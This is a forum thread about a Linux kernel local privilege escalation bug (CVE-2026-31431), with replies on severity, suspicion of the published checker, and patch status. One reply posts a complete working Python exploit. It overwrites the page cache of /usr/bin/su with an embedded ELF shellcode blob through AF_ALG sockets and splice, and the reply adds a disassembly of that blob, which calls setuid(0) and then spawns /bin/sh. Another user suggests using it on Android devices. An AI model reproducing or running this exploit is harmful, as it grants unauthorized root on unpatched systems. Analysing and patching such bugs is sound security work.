Copy Fail (CVE-2026-31431) is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms.
2026-04-29 21:52 UTC
Replies (7)
-
@BlackEco@lemmy.blackeco.com 2026-04-29 22:18
The Python script to check if you are vulnerable is extremely suspicious ans hard to decipher.
-
@eager_eagle@lemmy.world 2026-04-29 22:16
wtf An unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root. If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you’re in scope. how does that only get a CVE score of 7.8, the impact of this is huge
-
@Sims@lemmy.ml 2026-04-29 22:59
Hm, I could use that on a few Android devices…
-
@MoogleMaestro@lemmy.zip 2026-04-30 00:24
It’s a bit strange that this code requires a binary blob to verify, I think people who want to experiment with this should take some caution as it could be an exploit-in-an-exploit (user is highlighting a real exploit, but also trying to take advantage of people testing by effectively installing a back-door.) I won’t say that’s happening for sure, but take running this yourself with extreme caution.
-
@pseud@lemmy.zip 2026-04-30 02:49
Script: #!/usr/bin/env python3 import os, socket f = os.open("/usr/bin/su", 0) e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00' i = 0 while i < len(e): ee = e[i:i+4] s = socket.socket(38,5,0) s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0'*64)) s.setsockopt(279, 5, None, 4) u, _ = s.accept() zz = b'\x00' u.sendmsg([b"A"*4 + ee], [(279, 3, zz*4), (279, 2, b'\x10' + zz*19), (279, 4, b'\x08' + zz*3), ], 32768) r, w = os.pipe() os.splice(f, w, i + 4, offset_src=0) os.splice(r, u.fileno(), i + 4) try: u.recv(8 + i) except:0 i += 4 os.system("su") Blob: 0x00400078 eax = 0 0x0040007a edi = 0 0x0040007c al = 0x69 ; 'i' ; 105 0x0040007e syscall 0x00400080 rdi = rip + 0xf ; data.00400096 ; 0x400096 ; "/bin/sh" 0x00400087 esi = 0 0x00400089 push 0x3b ; ';' ; 59 0x0040008b pop rax 0x0040008c cdq 0x0040008d syscall 0x0040008f edi = 0 0x00400091 push 0x3c ; '<' ; 60 0x00400093 pop rax 0x00400094 syscall
-
@timroerstroem@feddit.dk 2026-04-30 08:53
Worth mentioning that the fix was merged into 6.19.12 (and 7.0; probably also the LTSs, but I didn’t bother to check those).
-
@Hirom@beehaw.org 2026-05-01 07:38
Debian trixie has a fix security-tracker.debian.org/…/CVE-2026-31431